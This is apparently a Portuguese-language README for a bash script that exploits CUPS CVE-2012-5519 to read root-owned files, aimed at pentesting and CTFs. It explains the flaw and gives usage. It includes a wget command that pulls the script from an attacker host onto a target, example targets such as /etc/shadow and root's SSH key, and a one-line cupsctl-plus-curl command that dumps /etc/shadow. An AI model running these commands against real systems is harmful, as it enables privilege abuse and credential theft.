
cups-root-file-read.sh | CVE-2012-5519
uma implementação em bash do módulo 'cups_root_file_read.rb' do metasploit, projetada para pentesting e CTFs.
principalmente um pequeno exercício em script bash. destinado a ser um programa autossuficiente que explora o CVE-2012-5519 em sistemas Linux;
fornece ao usuário um prompt interativo, permitindo que ele leia rapidamente vários arquivos restritos.
este script explora uma vulnerabilidade no CUPS (Common UNIX Printing System) < 1.6.2.
O CUPS permite que usuários do grupo lpadmin façam alterações no arquivo cupsd.conf, com o comando cupsctl.
Este comando também permite que o usuário especifique um caminho para ErrorLog.
Quando o usuário visita a página '/admin/log/error_log', o daemon cupsd, executando com SUID de root, lê o caminho ErrorLog e o exibe em texto simples.
Em resumo, arquivos pertencentes ao usuário root podem ser lidos se o caminho ErrorLog for direcionado para lá.
o script faz uma série de verificações antes de passar o prompt ao usuário; no entanto, todos os pré-requisitos incluem:
wget ou nc, devido a limitações de tempo.cupsctl está disponível, etc.Assume-se que o script será usado para fins de pentesting e eventos de CTF. Coloque o script na máquina alvo. Isso pode ser feito de várias maneiras. Um método comum a partir da máquina alvo:
wget http://[my ip]:[my port]/cups-root-file-read.sh
cups-root-file-read.sh não requer nenhum argumento ou flag, mas tem dois opcionais:
./cups-root-file-read.sh -h
./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
-a, --accessible: turns off features which may negatively affect
screen readers.
-h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow etc...
execute com:
bash cups-root-file-read.sh
ou
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
ou se quiser ler apenas um único arquivo:
echo '/etc/shadow' | ./cups-root-file-read.sh
após passar pelas verificações iniciais de funcionalidade e vulnerabilidade, o usuário recebe um prompt que permite digitar um caminho absoluto para um arquivo existente. O conteúdo de cada arquivo será impresso no terminal.
embora o script possa ser usado para testar e ler arquivos restritos, é mais útil se o usuário já souber da existência de arquivos restritos que deseja visualizar. por exemplo:
existem algumas limitações no script e no exploit. e pelo que sei, o módulo 'cups_root_file_read.rb' do metasploit também sofre das mesmas limitações.
a submissão pelo usuário deve ser um caminho absoluto para um arquivo existente que o usuário deseja visualizar e não deve conter espaços em branco em nenhum lugar do arquivo ou caminho. isso ocorre porque o comando cupsctl não consegue lidar corretamente com caracteres de espaço em branco, mesmo com aspas (exemplo: ErrorLog='/path to/file.txt') e separará a entrada nos caracteres de espaço em branco em diretivas separadas, com o valor booleano 'true'.
o exemplo anterior, se submetido, seria escrito no arquivo cupsd.conf como:
ErrorLog=/path
to/file.txt=true
isso gera erros que são escritos no log de erros, que podem ser arquivos importantes se especificados no caminho ErrorLog em uma tentativa anterior bem-sucedida de ler um arquivo. Portanto, o script verifica espaços em branco e os filtra.
apesar das verificações para garantir que o usuário submeta algo que se pareça com um caminho absoluto e arquivo, nem todos os erros podem ser capturados antes de serem passados ao servidor com o comando cupsctl:
arquivos existentes no diretório raiz podem ser lidos (exemplo: '/file.txt'), mas diretórios comuns do Unix como '/tmp' e '/root' também podem ser submetidos (seja propositalmente ou por erro do usuário). não há captura para esses diretórios do sistema e eles retornarão códigos de status 404 do servidor. o usuário é informado sobre isso.
diretórios inexistentes especificados no caminho (exemplo: '/tmp/non-existent-directory/file.txt') também resultarão em um código de status 404 retornado pelo servidor.
tentar visualizar arquivos inexistentes (exemplo: '/root/non-existent-file.txt') resultará em sua criação como o novo log de erros. o usuário é informado disso na saída e que o arquivo vazio pode ter sido criado pelo script de exploit se já não estava lá antes. existe sempre a possibilidade de que esses arquivos vazios tenham sido criados por um usuário do sistema para qualquer finalidade aproximadamente na mesma hora em que o script foi executado, por isso eles não são limpos.
embora o Linux tenha comandos para testar se um arquivo ou diretório existe, esse recurso não foi implementado no script antes de a entrada do usuário ser passada ao comando cupsctl, pois comandos de teste não funcionam se um arquivo ou diretório existe em um local proibido para o usuário atual (exemplo: '/root') por razões óbvias de segurança. como o script foi projetado para ler tais arquivos proibidos, esse recurso seria inútil.
às vezes, erros do cupsctl podem ocorrer ao fazer alterações, manualmente ou através do cups-root-file-read.sh. embora o cups-root-file-read.sh lide com entradas incomuns do usuário e alguns erros, esses erros do cupsctl que ocorrem ao fazer alterações no arquivo cupsd.conf ou ao solicitar a página web não são tratados. cups-root-file-read.sh simplesmente será encerrado. nesses casos, o script pode ser iniciado novamente e outra tentativa pode ser feita.
o script foi principalmente um exercício de criação de um programa curto, abrangente e autossuficiente para um único exploit, pensando tanto na legibilidade quanto na acessibilidade.
o script destina-se a testar a presença do CVE-2012-5519 e, em seguida, ler vários arquivos restritos de forma rápida e fácil durante a exploração. para esse fim, sinto que é significativamente mais rápido do que o módulo metasploit e digitar um comando manual e editá-lo repetidamente (espero). mas dito isso, se o usuário sabe que a máquina alvo é vulnerável, o mesmo resultado pode ser alcançado com algo como:
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'
a partir de 2022, este exploit tem 10 anos. se a máquina alvo também for antiga, é possível que as versões dos vários comandos utilizados no script não tenham a funcionalidade que têm agora. isso também pode se aplicar à versão do bash. infelizmente, fui limitado pelo tempo e não pude testar o script em uma gama mais ampla de ambientes. pode ser mais útil para CTFs.
originalmente, o script seria criado com python3, mas encontrei várias ocasiões em que python2 e python3 não estavam disponíveis para o usuário após obter acesso a um sistema como usuário não privilegiado. o bash está quase sempre disponível em um sistema Linux, assim como comandos comuns do Linux, então uma implementação em bash parecia a opção mais segura.
comandos internos do bash são usados tanto quanto possível, no entanto o script depende de alguns comandos externos como sort, head e curl (e claro cupsctl usado como parte do exploit). atualmente não há verificações para esses comandos e nenhuma alternativa devido a restrições de tempo. o script falhará se esses comandos não estiverem disponíveis :(
https://argbash.io - para ajuda com os argumentos iniciais do script.
https://skerritt.blog/a11y/ - implementação de acessibilidade.